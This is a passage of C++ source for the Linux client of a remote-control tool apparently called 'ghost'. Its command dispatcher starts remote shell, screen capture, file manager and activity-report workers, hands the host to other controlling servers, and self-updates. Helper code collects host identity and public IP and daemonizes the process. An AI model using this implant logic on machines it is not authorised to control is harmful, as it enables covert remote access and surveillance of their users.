// 与截屏回包一样:Send2Server 内部持锁,但先确认还连着
|
||
bool sent = false;
|
||
if (g_pMainClient && g_pMainClient->IsConnected() && g_bExit == S_CLIENT_NORMAL)
|
||
sent = g_pMainClient->Send2Server((char*)pkt.data(), (ULONG)pkt.size()) != FALSE;
|
||
Mprintf("[Activity] report %zu bytes (%s backend)%s\n", text.size(),
|
||
windowBackend ? "window" : "headless", sent ? "" : " FAILED");
|
||
g_activityReportsInFlight.fetch_sub(1, std::memory_order_relaxed);
|
||
}
|
||
|
||
// 子连接 worker 的唯一启动点(与 macos/main.mm 的 SpawnSubConnWorker 同语义)。
|
||
// 线程创建失败(RLIMIT_NPROC 到顶时 pthread_create 返回 EAGAIN/EPERM,std::thread
|
||
// 构造抛 std::system_error)必须在这里接住:否则异常穿过 DataProcess 落到
|
||
// OnServerReceiving 的 catch(...),日志里只剩一行笼统的
|
||
// "[ERROR] OnServerReceiving catch an error",同一批 recv 里的其它完整包也会被丢弃。
|
||
// 表现是「点了终端/桌面/文件毫无反应,连收到命令的日志都没有」。
|
||
static void SpawnSubConnWorker(const char* name, void* (*entry)(void*))
|
||
{
|
||
Mprintf("** Received '%s' command, spawning worker ***\n", name);
|
||
try {
|
||
std::thread(entry, nullptr).detach();
|
||
} catch (const std::system_error& e) {
|
||
// pthread_create 的返回值被 libc++/libstdc++ 直接包进 error_code,errno 不可信
|
||
Mprintf("*** spawn '%s' worker FAILED: %s (code=%d) ***\n",
|
||
name, e.what(), e.code().value());
|
||
} catch (const std::exception& e) {
|
||
Mprintf("*** spawn '%s' worker FAILED: %s ***\n", name, e.what());
|
||
}
|
||
}
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
if (szBuffer == nullptr || ulLength == 0)
|
||
return TRUE;
|
||
|
||
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见
|
||
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
|
||
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
|
||
return TRUE;
|
||
}
|
||
|
||
if (szBuffer[0] == COMMAND_BYE) {
|
||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||
SpawnSubConnWorker("SHELL", ShellworkingThread);
|
||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||
SpawnSubConnWorker("SCREEN_SPY", ScreenworkingThread);
|
||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||
SpawnSubConnWorker("SYSTEM", SystemManagerThread);
|
||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||
SpawnSubConnWorker("LIST_DRIVE", FileManagerThread);
|
||
} else if (szBuffer[0] == COMMAND_QUERY_LOG) {
|
||
// 与 Windows 端一致:回日志必须开子连接。服务端取走首包后 CancelIO 关的是
|
||
// 子连接;若回在主连接上,被关掉的就是主连接本身。
|
||
SpawnSubConnWorker("QUERY_LOG", ClientLogThread);
|
||
} else if (szBuffer[0] == COMMAND_QUERY_ACTIVITY) {
|
||
// 历史活动:主连接一次性快照(无子连接),有桌面走窗口采样,无桌面走登录+命令记录。
|
||
// 已经有报表在飞就丢掉这一次(服务端每主机单飞行,连点也只是重复请求)
|
||
if (g_activityReportsInFlight.fetch_add(1) >= 1) {
|
||
g_activityReportsInFlight.fetch_sub(1);
|
||
return TRUE;
|
||
}
|
||
Mprintf("** [%p] Received 'QUERY_ACTIVITY' command ***\n", user);
|
||
try {
|
||
std::thread(ActivityReportThread).detach();
|
||
} catch (const std::exception& e) {
|
||
// 线程起不来要把在途计数还回去,否则之后的历史活动请求全被当成「忙」丢掉
|
||
g_activityReportsInFlight.fetch_sub(1);
|
||
Mprintf("** Activity report thread failed: %s ***\n", e.what());
|
||
}
|
||
} else if (szBuffer[0] == COMMAND_SCREEN_PREVIEW_REQ) {
|
||
if (ulLength < sizeof(ScreenPreviewReq)) return TRUE;
|
||
ScreenPreviewReq req;
|
||
memcpy(&req, szBuffer, sizeof(req));
|
||
// 抓屏可能耗几十毫秒,必须离开接收线程;超额请求直接丢弃(服务端会超时降级)
|
||
if (g_previewInFlight.fetch_add(1) >= 1) {
|
||
g_previewInFlight.fetch_sub(1);
|
||
return TRUE;
|
||
}
|
||
try {
|
||
std::thread(ScreenPreviewThread, req).detach();
|
||
} catch (const std::exception& e) {
|
||
// 线程起不来时必须把在途计数还回去,否则后面所有预览请求都会被当成"忙"丢掉
|
||
g_previewInFlight.fetch_sub(1);
|
||
Mprintf("** Screen preview thread failed: %s ***\n", e.what());
|
||
}
|
||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||
// 必须同时认短包:完整结构是 1024 字节,但老服务端 / Go 服务端只回
|
||
// HeartbeatACK_OldSize(32)。长度不足就当「没收到」会让下面的 ACK 看门狗
|
||
// 每 60s 断开重连一次(表现为链路一直在抖、主连接端口不断变化)。
|
||
// Windows 端同样按 min(ulLength, 32) 兼容,见 KernelManager.cpp:2413。
|
||
if (ulLength >= 1 + HeartbeatACK_OldSize) {
|
||
HeartbeatACK ack = {}; // 短包时缺的字段保持 0(Authorization / ProcessingMs 等)
|
||
const size_t copyLen = (ulLength - 1 >= sizeof(HeartbeatACK))
|
||
? sizeof(HeartbeatACK)
|
||
: (size_t)(ulLength - 1);
|
||
memcpy(&ack, szBuffer + 1, copyLen);
|
||
uint64_t now = GetUnixMs();
|
||
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
|
||
int64_t total_rtt_ms = (int64_t)now - (int64_t)ack.Time;
|
||
int64_t rtt_ms = total_rtt_ms;
|
||
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < total_rtt_ms)
|
||
rtt_ms = total_rtt_ms - (int64_t)ack.ProcessingMs;
|
||
g_rttEstimator.update_from_sample((double)rtt_ms);
|
||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||
static time_t lastAckLog = 0;
|
||
time_t now_s = time(nullptr);
|
||
if (now_s - lastAckLog >= 60) {
|
||
lastAckLog = now_s;
|
||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||
user, (double)rtt_ms, g_rttEstimator.srtt * 1000);
|
||
}
|
||
}
|
||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||
MasterSettings settings;
|
||
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
|
||
}
|
||
if (settings.ReportInterval > 0)
|
||
g_heartbeatInterval = settings.ReportInterval;
|
||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
|
||
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
|
||
if (ulLength >= 13) {
|
||
uint32_t textLen;
|
||
memcpy(&textLen, szBuffer + 9, 4);
|
||
if (ulLength >= 13 + textLen && textLen > 0) {
|
||
if (!ClipboardHandler::IsAvailable()) {
|
||
Mprintf("** [%p] C2C Text: clipboard unavailable (install xclip/xsel) ***\n", user);
|
||
} else {
|
||
std::string utf8Text((const char*)szBuffer + 13, textLen);
|
||
if (ClipboardHandler::SetText(utf8Text)) {
|
||
Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
|
||
} else {
|
||
Mprintf("** [%p] C2C Text clipboard set failed ***\n", user);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
|
||
// C2C 准备接收通知
|
||
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
|
||
Mprintf("** [%p] C2C Prepare received ***\n", user);
|
||
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
|
||
// V2 文件接收;g_pMainClient 用于 C2C 落盘回执(DataProcess 的 user 恒为 NULL)
|
||
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID, g_pMainClient);
|
||
if (result != 0) {
|
||
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
||
}
|
||
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||
// 分组是本机属性,写的是同一份 config.conf:分享实例改了,主机在主控 A 上的
|
||
// 分组也会跟着变,而这条命令是主控 B 下发的。交给主实例处理。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] SET_GROUP ignored: running as share instance ***\n", user);
|
||
return TRUE;
|
||
}
|
||
// Extract group name from message (starts at byte 1)
|
||
std::string groupName;
|
||
if (ulLength > 1) {
|
||
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
|
||
// Remove trailing nulls
|
||
size_t pos = groupName.find('\0');
|
||
if (pos != std::string::npos) {
|
||
groupName = groupName.substr(0, pos);
|
||
}
|
||
}
|
||
// Save to config file
|
||
LinuxConfig cfg;
|
||
cfg.SetStr("group_name", groupName);
|
||
// Update global settings
|
||
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||
// 标记需要重发登录信息(让服务端更新分组显示)
|
||
g_needResendLogin.store(true);
|
||
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||
} else if (szBuffer[0] == COMMAND_TLS_ENABLE) {
|
||
// 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。
|
||
// Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。
|
||
// 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。
|
||
// 分享实例不理会:信任锚是整机一份,跟着分享目标主控切换会把主连接也一起换掉。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] TLS_ENABLE ignored: running as share instance ***\n", user);
|
||
} else if (ulLength > 1) {
|
||
std::string pem((char*)szBuffer + 1, ulLength - 1);
|
||
std::string err;
|
||
if (TlsTrustAnchorSave(pem, err)) {
|
||
Mprintf("** [%p] TLS trust anchor received and saved ***\n", user);
|
||
ApplyTlsAnchorChange(user);
|
||
} else {
|
||
Mprintf("** [%p] TLS trust anchor save failed: %s ***\n", user, err.c_str());
|
||
}
|
||
} else {
|
||
// 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。
|
||
Mprintf("** [%p] COMMAND_TLS_ENABLE without a certificate payload, ignored\n", user);
|
||
}
|
||
} else if (szBuffer[0] == COMMAND_TLS_DISABLE) {
|
||
// 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。
|
||
// 分享实例同理不理会(见上面 TLS_ENABLE)。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] TLS_DISABLE ignored: running as share instance ***\n", user);
|
||
} else {
|
||
std::string err;
|
||
if (TlsTrustAnchorRemove(err)) {
|
||
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
|
||
ApplyTlsAnchorChange(user);
|
||
} else {
|
||
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
|
||
}
|
||
}
|
||
} else if ((szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_ASSIGN_MASTER)
|
||
&& ulLength > 1 && szBuffer[1] == SHARE_TYPE_YAMA) {
|
||
// 「分享主机」:host:port:shine[:transport],解析见 common/host_share.h。
|
||
// 命令字节是 COMMAND_SHARE;COMMAND_ASSIGN_MASTER 一起收,与 Windows 客户端的
|
||
// case 合并写法保持一致(转移用 buf[1]=SHARE_TYPE_YAMA_FOREVER,走下面的分支)。
|
||
// 分享不改本实例的主连接,而是另起一条通往目标主控的连接——主实例 fork 一个
|
||
// 分享子进程来做;子进程收到同一条命令时不能再分享,否则会一链套一链。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user);
|
||
return TRUE;
|
||
}
|
||
HostShare::Endpoint ep;
|
||
if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) {
|
||
Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user);
|
||
return TRUE;
|
||
}
|
||
// 落盘再起进程:进程起不来(fork 失败)也只丢这一次,下次启动仍会按配置重连。
|
||
std::string entry = HostShare::EncodeEntry(ep);
|
||
LinuxConfig cfg;
|
||
const std::string oldList = cfg.GetStr("share_list");
|
||
const std::string newList = HostShare::AddEntry(oldList, entry);
|
||
// 新目标才占名额;同一主控重新下发只是替换记录,不受上限影响。
|
||
if (newList != oldList && HostShare::Count(newList) > kMaxShareEntries) {
|
||
Mprintf("** [%p] SHARE to %s ignored: share_list is full (%d) ***\n",
|
||
user, HostShare::MasterKey(ep).c_str(), (int)kMaxShareEntries);
|
||
return TRUE;
|
||
}
|
||
cfg.SetStr("share_list", newList);
|
||
Mprintf("** [%p] SHARE to %s (entry=%s) ***\n",
|
||
user, HostShare::MasterKey(ep).c_str(), entry.c_str());
|
||
StartShareInstance(entry);
|
||
} else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) {
|
||
// 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。
|
||
// 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的主机会
|
||
// 被改到一个不存在的地址上去。
|
||
// 分享实例不处理转移:转移属于主连接,改了会把分享链路带到别的主控去。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] ASSIGN ignored: running as share instance ***\n", user);
|
||
return TRUE;
|
||
}
|
||
HostTransfer::Target t;
|
||
long long now = (long long)time(nullptr);
|
||
if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) {
|
||
Mprintf("** [%p] ASSIGN: malformed payload, ignored ***\n", user);
|
||
return TRUE;
|
||
}
|
||
// 有效期内重复下发忽略(与 Windows KernelManager 的 now <= valid_to 判断一致)。
|
||
// 用原子变量而不是再读一次配置:状态以本进程为准,避免和主线程的写入交错。
|
||
long long active = g_transferValidTo.load(std::memory_order_relaxed);
|
||
if (now <= active) {
|
||
Mprintf("** [%p] ASSIGN to %s:%d ignored: already assigned until %lld ***\n",
|
||
user, t.ep.ip.c_str(), t.ep.port, active);
|
||
return TRUE;
|
||
}
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_transferMu);
|
||
g_transferPendingTarget = t;
|
||
g_transferPending.store(true, std::memory_order_release);
|
||
}
|
||
// 先挡住后续重复下发,再落盘:落盘失败也不至于被第二条命令覆盖。
|
||
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
|
||
LinuxConfig cfg;
|
||
cfg.SetStr("transfer", HostTransfer::EncodeRecord(t));
|
||
// 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控
|
||
// 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端
|
||
// 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支,
|
||
// 额外起一个 shared 实例连到同一个目标地址。
|
||
Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n",
|
||
user, t.ep.ip.c_str(), t.ep.port, t.validTo - now);
|
||
StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线
|
||
} else if (szBuffer[0] == COMMAND_SHARE_CANCEL) {
|
||
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 客户端在
|
||
// COMMAND_SHARE_CANCEL 里也改成停掉同进程的分享线程(StopSharedInstances),
|
||
// 两端都是立即断开;Linux 的分享实例是独立进程,直接 stop。转移顺带起的
|
||
// 实例(KIND_TRANSFER / SHARED_KIND_TRANSFER)两端都不动。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user);
|
||
return TRUE;
|
||
}
|
||
LinuxConfig cfg;
|
||
cfg.SetStr("share_list", "");
|
||
Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user);
|
||
StopChildren(KIND_SHARE);
|
||
} else if (szBuffer[0] == COMMAND_UPDATE) {
|
||
// 服务端"升级程序"菜单下发新版本 ELF。
|
||
// 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换
|
||
// 同一个文件只会互相踩,升级交给主连接那台主控做。
|
||
if (g_bShareInstance) {
|
||
Mprintf("** [%p] UPDATE ignored: running as share instance ***\n", user);
|
||
return TRUE;
|
||
}
|
||
Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength);
|
||
ApplySelfUpdate(szBuffer, ulLength);
|
||
} else {
|
||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 方法1: 解析 lscpu 命令
|
||
double parse_lscpu()
|
||
{
|
||
std::array<char, 128> buffer;
|
||
std::string result;
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||
if (!pipe) return -1.0;
|
||
|
||
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||
result += buffer.data();
|
||
}
|
||
|
||
// 方法1a: 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz")
|
||
std::regex model_regex("@ ([0-9.]+)GHz");
|
||
std::smatch match;
|
||
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
} catch (...) {}
|
||
}
|
||
|
||
// 方法1b: 匹配 "CPU max MHz" 或 "CPU MHz" 字段
|
||
std::regex mhz_regex("CPU (?:max )?MHz:\\s*([0-9.]+)");
|
||
if (std::regex_search(result, match, mhz_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str());
|
||
} catch (...) {}
|
||
}
|
||
|
||
return -1;
|
||
}
|
||
|
||
// 方法2: 解析 /proc/cpuinfo
|
||
double parse_cpuinfo()
|
||
{
|
||
std::ifstream cpuinfo("/proc/cpuinfo");
|
||
std::string line;
|
||
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||
std::regex mhz_regex("cpu MHz\\s*:\\s*([0-9.]+)");
|
||
|
||
while (std::getline(cpuinfo, line)) {
|
||
// 方法2a: 从 model name 提取 @ X.XXGHz
|
||
if (line.find("model name") != std::string::npos) {
|
||
std::smatch match;
|
||
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
} catch (...) {}
|
||
}
|
||
}
|
||
// 方法2b: 从 "cpu MHz" 字段提取
|
||
if (line.find("cpu MHz") != std::string::npos) {
|
||
std::smatch match;
|
||
if (std::regex_search(line, match, mhz_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str());
|
||
} catch (...) {}
|
||
}
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// 方法3: 从 sysfs 读取 CPU 频率 (最可靠)
|
||
double parse_sysfs_freq()
|
||
{
|
||
// 尝试读取最大频率
|
||
const char* paths[] = {
|
||
"/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq",
|
||
"/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq",
|
||
"/sys/devices/system/cpu/cpu0/cpufreq/base_frequency",
|
||
};
|
||
|
||
for (const char* path : paths) {
|
||
std::ifstream f(path);
|
||
if (f.good()) {
|
||
long freq_khz = 0;
|
||
if (f >> freq_khz && freq_khz > 0) {
|
||
return freq_khz / 1000.0; // KHz -> MHz
|
||
}
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// ============== 系统信息采集函数(用于填充 LOGIN_INFOR) ==============
|
||
|
||
// 获取 Linux 发行版名称(如 "Ubuntu 24.04 LTS")
|
||
std::string getLinuxDistro()
|
||
{
|
||
std::ifstream f("/etc/os-release");
|
||
std::string line;
|
||
while (std::getline(f, line)) {
|
||
if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) {
|
||
// PRETTY_NAME="Ubuntu 24.04.1 LTS"
|
||
std::string name = line.substr(13);
|
||
if (!name.empty() && name.back() == '"')
|
||
name.pop_back();
|
||
return name;
|
||
}
|
||
}
|
||
// 回退:使用 uname
|
||
struct utsname u = {};
|
||
if (uname(&u) == 0) {
|
||
return std::string(u.sysname) + " " + u.release;
|
||
}
|
||
return "Linux";
|
||
}
|
||
|
||
// 进程启动时刻(墙钟)。在程序加载时记录一次:升级走 fork+execv 会重新加载本进程
|
||
// 镜像,于是升级后重新计时,与 Windows 的 GetProcessTimes(创建时间) 语义一致。
|
||
// 刻意不用 /proc/self/stat 的 starttime + /proc/stat 的 btime:btime 是开机时按当时
|
||
// 墙钟算的,之后 NTP 校时/休眠都不会修正它,算出来的启动时刻可能偏出几小时
|
||
// (WSL2 实测偏 1.8h)。这里是本进程自己读到的墙钟,不受此影响。
|
||
static const std::time_t g_processStartTime = std::time(nullptr);
|
||
|
||
// 进程启动时间("YYYY-MM-DD HH:MM:SS",北京时间):与 Windows 客户端的
|
||
// getProcessTime() 一致,是进程创建时刻而非本次登录时刻。
|
||
std::string getProcessStartTime()
|
||
{
|
||
// 服务端按北京时间解释这个字符串(见服务端 GetElapsedTime),沿用既有约定
|
||
return ToPekingTimeAsString(&g_processStartTime);
|
||
}
|
||
|
||
// 进程已运行秒数(RES_UPTIME):与 getProcessStartTime 同源,都是本机墙钟,相减后
|
||
// 时区不影响结果。服务端用它算运行时长,就不必拿自己的时刻去减别的机器的时刻了。
|
||
long long getProcessUptimeSeconds()
|
||
{
|
||
long long up = static_cast<long long>(std::time(nullptr)) -
|
||
static_cast<long long>(g_processStartTime);
|
||
return up > 0 ? up : 0;
|
||
}
|
||
|
||
// 获取 CPU 核心数
|
||
int getCPUCores()
|
||
{
|
||
long n = sysconf(_SC_NPROCESSORS_ONLN);
|
||
return n > 0 ? (int)n : 1;
|
||
}
|
||
|
||
// 获取系统内存(GB)
|
||
double getMemorySizeGB()
|
||
{
|
||
struct sysinfo si = {};
|
||
if (sysinfo(&si) == 0) {
|
||
return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
// 获取当前可执行文件路径
|
||
std::string getExePath()
|
||
{
|
||
char buf[1024] = {};
|
||
ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
|
||
if (len > 0) {
|
||
buf[len] = '\0';
|
||
return buf;
|
||
}
|
||
return "";
|
||
}
|
||
|
||
// 获取文件大小(格式化为 "1.2M" 或 "123K")
|
||
std::string getFileSize(const std::string& path)
|
||
{
|
||
struct stat st = {};
|
||
if (stat(path.c_str(), &st) != 0) return "?";
|
||
char buf[32];
|
||
if (st.st_size >= 1024 * 1024) {
|
||
sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0));
|
||
} else if (st.st_size >= 1024) {
|
||
sprintf(buf, "%.1fK", st.st_size / 1024.0);
|
||
} else {
|
||
sprintf(buf, "%ldB", (long)st.st_size);
|
||
}
|
||
return buf;
|
||
}
|
||
|
||
// 获取当前用户名
|
||
std::string getUsername()
|
||
{
|
||
struct passwd* pw = getpwuid(getuid());
|
||
if (pw && pw->pw_name) return pw->pw_name;
|
||
const char* u = getenv("USER");
|
||
return u ? u : "?";
|
||
}
|
||
|
||
// 读取 systemd / dbus 维护的 machine-id(与 Windows MachineGuid 等价)
|
||
// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
|
||
// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
|
||
// 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署
|
||
// 工具 (cloud-init / kickstart) 会重置它。
|
||
static std::string getMachineId()
|
||
{
|
||
// 优先 /etc/machine-id;某些精简系统可能放在 /var/lib/dbus/machine-id
|
||
const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
|
||
for (const char* p : paths) {
|
||
std::ifstream f(p);
|
||
if (!f.is_open()) continue;
|
||
std::string id;
|
||
std::getline(f, id);
|
||
// 去掉尾部空白和换行
|
||
while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
|
||
id.back() == ' ' || id.back() == '\t')) {
|
||
id.pop_back();
|
||
}
|
||
if (!id.empty()) return id;
|
||
}
|
||
return std::string();
|
||
}
|
||
|
||
// 路径归一化(Linux 版):解析符号链接 + 转小写
|
||
// realpath 等价于 Windows 的 GetLongPathName,把 /usr/local/bin/../foo 这种
|
||
// 折回到规范形式;小写化避免大小写差异引起 ID 不同(Linux 文件系统本身大小写
|
||
// 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。
|
||
static std::string normalizeExePathLower(const std::string& path)
|
||
{
|
||
char resolved[PATH_MAX] = {};
|
||
std::string out;
|
||
if (realpath(path.c_str(), resolved) != nullptr) {
|
||
out = resolved;
|
||
} else {
|
||
out = path; // 解析失败(罕见):用原值
|
||
}
|
||
for (auto& c : out) {
|
||
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
|
||
}
|
||
return out;
|
||
}
|
||
|
||
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高")
|
||
std::string getScreenResolution()
|
||
{
|
||
// 尝试通过 xrandr 获取
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("xrandr --current 2>/dev/null", "r"), pclose);
|
||
if (pipe) {
|
||
char line[256];
|
||
// 匹配 "connected ... 1920x1080" 之类的行
|
||
int monitors = 0;
|
||
int maxW = 0, maxH = 0;
|
||
std::regex res_regex("\\s+(\\d+)x(\\d+)\\+");
|
||
while (fgets(line, sizeof(line), pipe.get())) {
|
||
std::string s(line);
|
||
if (s.find(" connected") != std::string::npos) {
|
||
monitors++;
|
||
std::smatch m;
|
||
if (std::regex_search(s, m, res_regex) && m.size() > 2) {
|
||
int w = std::stoi(m[1].str());
|
||
int h = std::stoi(m[2].str());
|
||
if (w > maxW) maxW = w;
|
||
if (h > maxH) maxH = h;
|
||
}
|
||
}
|
||
}
|
||
if (monitors > 0 && maxW > 0) {
|
||
char buf[64];
|
||
sprintf(buf, "%d:%d*%d", monitors, maxW, maxH);
|
||
return buf;
|
||
}
|
||
}
|
||
return "0:0*0";
|
||
}
|
||
|
||
// execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到
|
||
// common/posix_net_helpers.h(namespace PosixNet)。下面保留同名 wrapper,避免
|
||
// 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。
|
||
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
|
||
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
|
||
static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); }
|
||
inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
|
||
inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); }
|
||
|
||
// ============== 守护进程 ==============
|
||
|
||
// PID 文件路径(与配置文件同目录)
|
||
static std::string getPidFilePath()
|
||
{
|
||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||
std::string dir;
|
||
if (xdg && xdg[0]) {
|
||
dir = std::string(xdg) + "/ghost";
|
||
} else {
|
||
const char* home = getenv("HOME");
|
||
if (!home) home = "/tmp";
|
||
dir = std::string(home) + "/.config/ghost";
|
||
}
|
||
mkdir(dir.c_str(), 0755);
|
||
return dir + "/ghost.pid";
|
||
}
|
||
|
||
static void writePidFile()
|
||
{
|
||
std::string path = getPidFilePath();
|
||
std::ofstream f(path, std::ios::trunc);
|
||
f << getpid() << std::endl;
|
||
}
|
||
|
||
static void removePidFile()
|
||
{
|
||
unlink(getPidFilePath().c_str());
|
||
}
|
||
|
||
// 检查是否已有实例在运行
|
||
static bool isAlreadyRunning()
|
||
{
|
||
std::ifstream f(getPidFilePath());
|
||
int pid = 0;
|
||
if (f >> pid && pid > 0) {
|
||
// kill(pid, 0) 不发信号,仅检查进程是否存在
|
||
if (kill(pid, 0) == 0) return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
// 经典 Unix 双 fork 守护进程
|
||
static void daemonize()
|
||
{
|
||
pid_t pid = fork();
|
||
if (pid < 0) exit(1);
|
||
if (pid > 0) exit(0); // 父进程退出
|
||
|
||
setsid(); // 新会话,脱离终端
|
||
|
||
pid = fork(); // 第二次 fork,防止重新获取控制终端
|
||
if (pid < 0) exit(1);
|
||
if (pid > 0) exit(0);
|
||
|
||
// 关闭标准文件描述符,重定向到 /dev/null
|
||
close(STDIN_FILENO);
|
||
close(STDOUT_FILENO);
|
||
close(STDERR_FILENO);
|
||
open("/dev/null", O_RDONLY); // fd 0 = stdin
|
||
open("/dev/null", O_WRONLY); // fd 1 = stdout
|
||
open("/dev/null", O_WRONLY); // fd 2 = stderr
|
||
}
|
||
|
||
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
|
||
// 注意:handler 内不能调 Mprintf(Logger 用 mutex/string/condvar,非 async-signal-safe),
|
||
// 只在这里记 sig_atomic_t 标志位,main 退出循环后再补一行日志。
|
||
static volatile sig_atomic_t g_lastSignal = 0;
|
||
static void signalHandler(int sig)
|
||
{
|
||
g_lastSignal = sig;
|
||
g_bExit = S_CLIENT_EXIT;
|
||
}
|
||
|
||
static void setupSignals()
|
||
{
|
||
